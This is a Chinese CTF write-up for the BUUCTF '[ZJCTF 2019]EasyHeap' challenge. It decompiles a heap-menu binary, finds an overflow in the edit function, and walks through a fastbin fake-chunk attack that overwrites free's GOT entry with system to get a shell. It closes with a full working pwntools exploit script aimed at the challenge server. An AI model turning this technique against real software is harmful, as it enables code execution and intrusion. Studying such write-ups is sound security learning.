加载中...

[buuctf][ZJCTF 2019]EasyHeap

[ZJCTF 2019]EasyHeap

1.checksec:

RELRO: Partial RELRO可以修改got表。没有开PIE

2.执行一下:

有菜单,根据输入实现不同的功能

3.ida分析:

1.main函数:

menu是菜单

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char buf[8]; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);                  // 初始化
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      read(0, buf, 8uLL);
      v3 = atoi(buf);
      if ( v3 != 3 )
        break;
      delete_heap();
    }
    if ( v3 > 3 )
    {
      if ( v3 == 4 )
        exit(0);
      if ( v3 == 0x1305 )
      {
        if ( (unsigned __int64)magic <= 0x1305 )
        {
          puts("So sad !");
        }
        else
        {
          puts("Congrt !");
          l33t();                               // 后门函数
        }
      }
      else
      {
LABEL_17:
        puts("Invalid Choice");
      }
    }
    else if ( v3 == 1 )
    {
      create_heap();
    }
    else
    {
      if ( v3 != 2 )
        goto LABEL_17;
      edit_heap();
    }
  }
}

当v3==0x1305,magic>0x1305时执行l33t,l33t是后门.虽然不知道如何执行这个后门,但是它提供了system的got表和plt表

int l33t()
{
  return system("cat /home/pwn/flag");
}

2.菜单:

int menu()
{
  puts("--------------------------------");
  puts("       Easy Heap Creator       ");
  puts("--------------------------------");
  puts(" 1. Create a Heap               ");
  puts(" 2. Edit a Heap                 ");
  puts(" 3. Delete a Heap               ");
  puts(" 4. Exit                        ");
  puts("--------------------------------");
  return printf("Your choice :");
}

3.create_heap:

创建堆块并输入数据

unsigned __int64 create_heap()
{
  int i; // [rsp+4h] [rbp-1Ch]
  size_t size; // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  for ( i = 0; i <= 9; ++i )
  {
    if ( !*(&heaparray + i) )
    {
      printf("Size of Heap : ");
      read(0, buf, 8uLL);//输入chunk的size
      size = atoi(buf);
      *(&heaparray + i) = malloc(size);//heaparray[i]保存申请的chunk的地址
      if ( !*(&heaparray + i) )
      {
        puts("Allocate Error");
        exit(2);
      }
      printf("Content of heap:");
      read_input(*(&heaparray + i), size);//往堆块里输入数据
      puts("SuccessFul");
      return __readfsqword(0x28u) ^ v4;
    }
  }
  return __readfsqword(0x28u) ^ v4;
}

4.edit_heap:

根据index编辑对应的堆块,要求重新输入size,可以输入大一点的size堆溢出

unsigned __int64 edit_heap()
{
  int v1; // [rsp+4h] [rbp-1Ch]
  __int64 v2; // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("Index :");
  read(0, buf, 4uLL);                           // 输入要修改的chunk的index
  v1 = atoi(buf);
  if ( v1 < 0 || v1 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&heaparray + v1) )
  {
    printf("Size of Heap : ");
    read(0, buf, 8uLL);                         // 输入chunk的size,这里并不是根据创建堆块时所输入的size编辑chunk,而是重新输入任意的size,那么这样就可以堆溢出了
    v2 = atoi(buf);
    printf("Content of heap : ");               // 修改chunk的数据
    read_input(*(&heaparray + v1), v2);
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v4;
}

5.delete_heap:

根据对应的index释放对应的堆块

unsigned __int64 delete_heap()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");//输入要释放堆块的index
  read(0, buf, 4uLL);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&heaparray + v1) )
  {
    free(*(&heaparray + v1));//释放堆块并把heaparray[v1]置为0,没有uaf
    *(&heaparray + v1) = 0LL;
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v3;
}

3.利用思路:

先申请3个堆块,index分别为0,1,2,然后释放chunk2,接着edit chunk1溢出,修改chunk1数据为/bin/sh(因为后面要delete chunk1 getshell)修改chunk2的fd为一处与heaparray数组接近的地方,因为这里可以错位偏移构造一个size为0x7f的fake_chunk,绕过malloc对fastbin chunk的检查,让它插进fastbins ,之后从新申请回fake_chunk,利用fake_chunk溢出修改heaparray[0]的值为free_got,最后edit chunk0(现在为free_got)为system_plt,然后delete(1)执行system("/bin/sh") getshell

4.利用过程:

1.将0x6020ad处的fake_chunk加入fastbins:

add(0x60,"happy")
add(0x60,"happy")
add(0x60,"happy")
delete(2)
payload = b'/bin/sh\x00' +b'A'*0x60 + p64(0x71) + p64(0x6020ad)
edit(1,len(payload),payload)

2.修改heaparray[0]的值为free_got:

add(0x60,"happy")
add(0x60,"happy")
payload2=b'A'*0x23+p64(elf.got["free"])
edit(3,len(payload2),payload2)

3.修改free_got为system_plt,delete(1),getshell:

payload3=p64(elf.plt["system"])
edit(0,len(payload3),payload3)
gdb.attach(io)
pause()
delete(1)
io.interactive()

5.exp:

from pwn import *
context.log_level="debug"
#io=process("easyheap")
io=remote("node4.buuoj.cn",26646)
elf=ELF("easyheap")

def add(size,content):
    io.recvuntil("choice :")
    io.sendline("1")
    io.recvuntil("Size of Heap : ")
    io.sendline(str(size))
    io.recvuntil("Content of heap:")
    io.send(content)


def edit(index,size,content):
    io.recvuntil("choice :")
    io.sendline("2")
    io.recvuntil("Index :")
    io.sendline(str(index))
    io.recvuntil("Size of Heap : ")
    io.sendline(str(size))
    io.recvuntil("Content of heap : ")
    io.send(content)

def delete(index):
    io.recvuntil("choice :")
    io.sendline("3")
    io.recvuntil("Index :")
    io.sendline(str(index))



add(0x60,"happy")
add(0x60,"happy")
add(0x60,"happy")
delete(2)
payload = b'/bin/sh\x00' +b'A'*0x60 + p64(0x71) + p64(0x6020ad)
edit(1,len(payload),payload)
add(0x60,"happy")
add(0x60,"happy")
payload2=b'A'*0x23+p64(elf.got["free"])
edit(3,len(payload2),payload2)
payload3=p64(elf.plt["system"])
edit(0,len(payload3),payload3)
#gdb.attach(io)
#pause()
delete(1)
io.interactive()

6.拿到flag:

posted @ 2022-05-14 14:56  happynoy  阅读(1433)  评论(1)    收藏  举报